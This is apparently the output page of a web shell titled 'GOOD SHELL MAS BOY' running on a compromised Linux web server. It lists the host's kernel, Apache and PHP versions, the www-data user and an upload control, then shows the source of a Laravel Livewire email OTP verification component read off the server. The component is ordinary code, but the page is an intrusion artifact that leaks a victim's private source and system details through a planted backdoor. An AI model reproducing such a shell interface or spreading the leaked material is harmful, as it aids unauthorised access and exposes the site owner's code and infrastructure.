GOOD SHELL MAS BOY
Server: Apache/2.4.52 (Ubuntu)
System: Linux vmi1836763.contaboserver.net 5.15.0-130-generic #140-Ubuntu SMP Wed Dec 18 17:59:53 UTC 2024 x86_64
User: www-data (33)
PHP: 8.4.10
Disabled: NONE
Upload Files
File: /var/www/html/app/Livewire/Auth/VerifyEmail.php
<?php

namespace App\Livewire\Auth;

use Livewire\Component;
use App\Services\ApiEndpoints;
use Illuminate\Support\Facades\Log;
use Illuminate\Support\Facades\Http;
use Illuminate\Support\Facades\Session;

class VerifyEmail extends Component
{

    public $email_code1;
    public $email_code2;
    public $email_code3;
    public $email_code4;
    public $email_code5;
    public $email_code6; 
    public $email_code;
    public $email;

    protected $rules = [
        "email_code" => "required|digits:6|exists:otp_verifications,otp",
    ];
    public function mount()
    {
        Session::forget('error');
        $this->email = session('user_email');
    }
    public function resendOtp()
    {
        
        try {
            $email = session('user_email');
            $response = Http::post(ApiEndpoints::sendEmailOtp(), [
                'email' => $email, 
            ]);
            
            if ($response->successful()) {
                $info = $response->json(['message']);
                Session::flash('success', $info);
                Session::forget('error');
                return redirect()->to('/verify-email');
            } else {
                $info = $response->json(['message']);
                $this->addError('email_code', $info);
                Session::flash('error', $info);
            }
        } catch (\Throwable $th) {
            $info = $th->getMessage();
            Session::flash('error', $info);
            Log::error($th->getMessage());
            $this->addError('email', $info);
        }
    }

    
    public function verifyEmail()
    {
         
        try {
            $this->email = session('user_email');
            $this->email_code = $this->email_code1 . $this->email_code2 . $this->email_code3 . $this->email_code4 . $this->email_code5 . $this->email_code6;
            $this->validate([
                "email" => "required|exists:otp_verifications,email",
                "email_code" => "required|digits:6|exists:otp_verifications,otp",
            ], [
                'email.required' => 'The email field is required.',
                'email.exists' => 'The email is not correct.',
                'email_code.required' => 'The otp field is required.',
                'email_code.exists' => 'The otp is not correct.',
                'email_code.digits' => 'The otp must be 6 digits.',
            ]);            
            $response = Http::post(ApiEndpoints::verifyEmailOtp(), [
                'email' => $this->email,
                'otp' => $this->email_code, 
            ]);

            if ($response->successful()) {
                $info = $response->json(['message']);
                Session::flash('success', $info);
                return redirect()->to('/download-app');
            } else {
                $info = $response->json();
                $this->addError('email_code', $info);
                Session::flash('error', $info);
                return redirect()->to('/verify-email');

            }
        } catch (\Throwable $th) {
            $info = $th->getMessage();
            Log::error($th->getMessage());
            $this->addError('email_code', $info);
        }
    }
    public function render()
    {
        return view('livewire.auth.verify-email');
    }
}